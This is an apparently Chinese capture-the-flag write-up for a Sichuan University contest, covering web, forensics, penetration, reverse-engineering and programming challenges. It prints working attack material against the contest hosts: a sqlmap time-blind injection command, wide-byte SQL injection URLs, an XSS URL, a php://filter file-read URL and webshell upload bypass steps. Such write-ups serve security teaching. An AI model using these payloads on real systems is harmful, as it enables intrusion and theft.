0×00 川大ctf
看到了有一个川大的ctf,然后有逆向的题,就让ling和Jarvis带我飞。
做了一些写成writeup吧,写得比较简单一些,逆向和编程的题目是ling和Jarvis做的,感谢他们。
0×01 基础
webshell
把错误显示打开 访问会因为没有密码报错 会有提示
提交就可以了,比较简单
Q*pkZ%`Bn1C5
吐槽一下 flag长得好丑
有一个给了一个url.txt 需要找到身份证
发现是一个github的地址 https://github.com/scuctf/scuctf/issues/1
访问一下 发现了是base64过的图片,需要解两次base64 然后就是一张jpg的图片
图片是最近很火的那个成都女司机卢琴,要她的身份证 百度就可以了
取证
爆破rar密码,是从0到12000左右的
然后看到9569行的xls文件 发现是config1.php
只能找到 config.php,这是一个加密了的webshell
用那个马解密出来 密码就是flag
0×02 WEB
sql1用sqlmap跑就可以了
sql2要扫一扫 发现了login.php,是一个登陆的
username是注入点 时间盲注
sqlmap -u "175.152.118.209:82/validate.php" --data "username=admin&password=admin" -D web2 -T admin -C username,password --dump --level 5 --risk 3 -v 3 --technique T
+----------+-----------------------------+ | username | password | +----------+-----------------------------+ | flag | SCU_CFT{flag:Qr.U!sZ"GHEM/} | +----------+-----------------------------+
sql3
是一个宽字节注入用%df之后就可以手工注入了
http://101.204.150.192:83/index.php?id=-1%df%27%20union%20select%201,group_concat%28table_name%29,3%20from%20information_schema.tables%20where%20table_schema=database%28%29%23
admin,news,see_here
http://101.204.150.192:83/index.php?id=-1%df%27%20union%20select%201,group_concat%28flag%29,3%20from%20web3.see_here%23
SCU_CFT{flag:4JaEZINrdaT}
xss1
xss感觉出的不好啊 xss的payload太多 没法覆盖完全 页面逻辑有一些问题 不容易出好
比如说 第一题用svg可以弹 但是flag出不来
过滤了<变成了<
用img标签
<<<img
去base64就可以过
xss2
http://101.204.150.192:90/scu_xss_02/xss_02.php/?%22;alert%281%29;//
用了这个 没弹出来 但是出了flag
上传1
是双文件上传 构造两个文件 第一个正常图片 第二个是shell就可以了
做了文件内容检查 前面的256字节附加上正常的图片然后加上webshell代码 再上传cdx文件拿webshell
上传2
要先扫描文件 是一个fck编辑器
然后就是找fck的方法去上传了
文件包含
用base64读取flag.php源码的姿势
http://175.152.118.209:86/urp/score.php?file=php://filter/read=convert.base64-encode/resource=../flag.php
nm_’/)QqdB*=K&[BT#
命令执行
这个题要翻墙访问 服务器是在国外
wooyun上有一样的例子 默认口令登陆 之后 就执行命令ipconfig
04:01:14:7d:45:01
eth0 Link encap:Ethernet HWaddr 04:01:14:7d:45:01 inet addr:188.226.216.139 Bcast:188.226.223.255 Mask:255.255.240.0 inet6 addr: fe80::601:14ff:fe7d:4501/64 Scope:Link UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:164281580 errors:0 dropped:0 overruns:0 frame:0 TX packets:164625849 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:14361992930 (14.3 GB) TX bytes:12938843841 (12.9 GB) lo Link encap:Local Loopback inet addr:127.0.0.1 Mask:255.0.0.0 inet6 addr: ::1/128 Scope:Host UP LOOPBACK RUNNING MTU:65536 Metric:1 RX packets:2301514 errors:0 dropped:0 overruns:0 frame:0 TX packets:2301514 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:0 RX bytes:130800483 (130.8 MB) TX bytes:130800483 (130.8 MB)
0x03 渗透
渗透1
espcms
espcms sql注入漏洞
用这个exp
注入出来
admin|1ae9c3798251af80aedbc20916fd5e69
解cmd5出来是这个
espansec
登陆后要拿shell
传图就可以拿到webshell
0x04 逆向
crackme 1
扣出来是个图片
图片解压出来是一个加密的7z压缩包 密码就是5q)*e/.7;jy]{kTGfHR%
解压出来 flag是dE4Quq1wgCx3gSWZJQ8K
crackme 2
sub_401050(hWnd, (int)&String); int __cdecl sub_401050(HWND hWnd, int a2) { unsigned int i; // [sp+0h] [bp-4h]@1 for ( i = 0; i < 7; ++i ) { if ( dword_403018[i] != sub_401000(a2 + 4 * i, 4) ) return MessageBoxA(hWnd, "Wrong", "Crack001", 0); } return MessageBoxA(hWnd, "Correct!!", "Crack001", 0); } int __cdecl sub_401000(int a1, unsigned int a2) { unsigned int i; // [sp+0h] [bp-Ch]@1 int v4; // [sp+8h] [bp-4h]@1 v4 = 0; for ( i = 0; i < a2; ++i ) v4 = *(_BYTE *)(i + a1) + 131 * v4; return v4; }
然后逆着算就可以了
5oGt5Zac5L2g77yM5oiQ5Yqf5LqG
0x05 编程
编程1 ling搞起的
Mips writeup
Mips架构的,不过是静态链接的,用qemu试着运行,发现能运行,至少可以动态调试了。
在ida中很容易定位到比较的地方:
大致伪代码如下:
Int v1[]; Char a3[]; for(I = 0; I < 0x22; i++) { If(a3[v1[i]*4] != password[i]) { Puts(‘try again’) } }
写了个程序算flag:(其中dump.bin为v1处内存,dump2.bin为a3处内存)
from zio import * f = open('./dump.bin', 'rb') data = f.read() f.close() f = open('./dump2.bin', 'rb') data2 = f.read() f.close() result = '' for i in range(0x22): d = l32(data[i*4:i*4+4]) result += data2[d*4:d*4+1] print result
输出:
NSS-Flag:{cFWC_yhrE_H17pV_5o_ob8a}
编程3
用python解 求1234!的小写md5
def foo(n): return reduce(lambda x,y: x*y, range(1,n+1)) #print foo(1234) import hashlib m = hashlib.md5() m.update(str(foo(1234))) print m.hexdigest()
编程4
是一个rsa相关的题 琪琪做的
#!/usr/bin/python def Exgcd(a,b): if b == 0: return (1,0,a) if a < b: a,b = b,a x,y,d = Exgcd(b,a%b) return y,(x-a/b*y),d def inverse(a,m): x,y,d = Exgcd(m,a) if d != 1: return 0 return (y+m)%m if __name__ == "__main__": p=79 q=50022341 n=p*q on=(p-1)*(q-1) d = inverse(9203,on) print d
FROM :appleu0.sinaapp.com | Author:appleu0
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论